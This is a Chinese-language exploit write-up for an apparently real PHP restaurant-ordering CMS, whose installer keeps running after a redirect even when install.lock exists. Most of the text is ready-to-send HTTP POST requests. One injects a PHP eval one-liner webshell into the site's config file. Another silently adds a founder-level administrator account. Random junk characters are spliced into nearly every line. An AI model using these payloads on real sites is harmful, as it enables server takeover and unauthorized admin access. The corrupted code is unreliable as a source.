问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。# w6 @; u( p$ _( Q! a) C
6 L8 ?& _) c0 x, [2 Q! Q
<?php
; U5 Z6 U5 V; o0 u/ j' qif(file_exists("../install.lock"))6 z$ w/ f, _; | U: M M2 ]8 }3 T
{$ O! I) [) |5 u5 Z
header("Location: ../");//没有退出
* @2 @- S) \. K; L/ h, E}) I- l) |7 M4 I5 G% r1 j
8 m/ S* j0 |1 r4 t, T8 o
//echo 'tst';exit;
5 _$ b# k# \: zrequire_once("init.php");9 Z' Y4 [ }" [, d
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
: k+ V6 M& V$ T, w0 c{
, B. a2 {0 ]; m- ]- a0 M7 e& P可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
# m0 d5 M! Y+ P3 i( I7 f
2 g% q# n: ?5 F1、getshell(很危险)# Y' @1 O2 ]# r; T: @6 G4 i1 L6 x
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
! [) u$ ~3 ~ m5 ]- ?, Q{
9 a0 c6 G+ w5 @, B# L( J$smarty->assign("step",1);
6 m0 W% O7 A; P0 b) U$smarty->display("index.html");9 p# ^0 \9 Q* ?4 f
}elseif($_REQUEST['step']==2)3 H1 l# s$ P- w0 s+ }2 r; {' S0 o
{
2 a' k9 r# c- v# K+ v ] $mysql_host=trim($_POST['mysql_host']);% Q. z$ T+ w" B- L: f2 _: P; j/ c, |
$mysql_user=trim($_POST['mysql_user']); V: t) Z. a: z% U
$mysql_pwd=trim($_POST['mysql_pwd']);" O- J+ c# c; e9 ^
$mysql_db=trim($_POST['mysql_db']);
! l* a, ~5 s2 S0 g; @4 y $tblpre=trim($_POST['tblpre']);: I; L2 S; r6 n, Z
$domain==trim($_POST['domain']);
2 E! T; |0 I3 o- L4 a( d7 ` $str="<?php \r\n";
# k2 A: G8 H. f M $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
" q# L: `4 R/ e# {& l+ b $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";, y( o& n) { t9 E# e) c6 E. k
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
& c* @7 D8 k2 p' Z5 t1 K2 [ $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";! `3 K3 I1 a. C
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";' V r4 B1 E5 J. F8 g" p
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
0 l# O* c, G! \- t* d6 ]/ h$ E! G# H $str.='define("DOMAIN","'.$domain.'");'."\r\n";# r8 a0 C# E4 b6 y, L0 ]& z% d: T6 F
$str.='define("SKINS","default");'."\r\n";
" u1 f7 s# r B) y$ Y/ ~ $str.='?>';
0 |7 l" N k" T file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
g q4 \; h. A" M0 X. r- W4 j上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
! N' i/ F9 E9 {# o UPOST /canting/install/index.php?m=index&step=2 HTTP/1.1
9 M+ k/ e r$ M2 |* s o9 W5 C, DHost: 192.168.80.129
6 W! l3 _3 S% G2 V+ z8 rUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0% O$ `% B Y% F+ A: q7 K
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8# D2 k; |0 |/ J9 ?' i
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
6 G! \9 u+ Q" ]# W |3 BAccept-Encoding: gzip, deflate! U- S) Z! a3 p d& g& X! A* _$ l
Referer: http://192.168.80.129/canting/install/index.php?step=1
# R( Y3 L% Z+ O/ J5 O r: zCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42. [# N3 Y+ C4 J5 [% e
Content-Type: application/x-www-form-urlencoded9 y+ v! T! ]- `) R
Content-Length: 1265 j0 @# T9 d9 i5 R# @: K7 v; v
- A% r/ {" p! Y
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
1 V! g) y1 N; z* l" J2 Q: h但是这个方法很危险,将导致网站无法运行。
4 K3 k1 a, Z2 q, o& b/ s8 o- I3 `0 X, ?( J4 o6 a+ k
2、直接添加管理员
- l: j: g# t" B& q& w7 _2 N$ {& o/ C0 I5 L
elseif($_REQUEST['step']==5)
# w3 h; \5 S9 U{ T8 o9 M9 @7 k" `
if($_POST)
) K4 D. N# y9 I- Z: M4 D2 b { require_once("../config/config.inc.php");
& }, _4 t4 g `1 |- y3 Q $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
6 s" h5 r z: f4 z mysql_select_db(MYSQL_DB,$link);$ Z. T8 t5 ?+ e9 t+ c
mysql_query("SET NAMES ".MYSQL_CHARSET );4 T0 S! I, P$ @- o. Y( e7 l4 U" h
mysql_query("SET sql_mode=''");% i! D! U# _* N& g$ Z
( ^- f. s/ W0 v
$adminname=trim($_POST['adminname']);( B5 J/ ^0 r' S( k7 C, Q, P5 E
$pwd1=trim($_POST['pwd1']);% W0 i( }- x" `
$pwd2=trim($_POST['pwd2']);+ _! j$ w" l* n5 U. x# b
if(empty($adminname))
7 L: Q9 A" p* d {
$ q) a; s! u5 [
5 k% L4 y( Z0 @) v7 p$ D, _ echo "<script>alert('管理员不能为空');history.go(-1);</script>";$ [: ]+ h. L8 ], G
exit();
4 h; Y O1 Q% M6 s }. [, u I1 u& j; \6 T
if(($pwd1!=$pwd2) or empty($pwd1))
$ s) ~/ V; O5 u H: I' _ {
: v8 ^0 o7 ?5 J5 \$ X5 t5 ^ echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出& C1 m9 |& Q7 M2 P! _1 z; {4 G4 u
}# m5 V3 u- F! W* E
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
4 j' x) i5 n; e1 |: m4 V6 h }
* Z8 F5 _$ A# g e& f" U! r! m这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:0 B! W0 X1 s, c2 H4 j! |- ^
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
( m9 V K# t l$ vHost: 192.168.80.129% ~4 w: W0 C' r; f
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0* {/ p* V* ?2 b3 O7 @
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+ L a1 ^- E5 w; @6 o$ PAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
! Z) W6 s4 a" [Accept-Encoding: gzip, deflate
+ \/ u7 }0 t& m6 e+ `Referer: http://www.2cto.com /canting/install/index.php?step=1( R: M& `7 T4 Q! H
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc424 J5 o# H8 p% w5 Q! W F" K
Content-Type: application/x-www-form-urlencoded* p% Z, C4 M0 a) ~( E ~( D1 S
Content-Length: 46
3 g. ?' ^; b6 D & N3 y( R1 Y: s& Y/ b U
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
( V- @6 a, E, M, I+ [% q |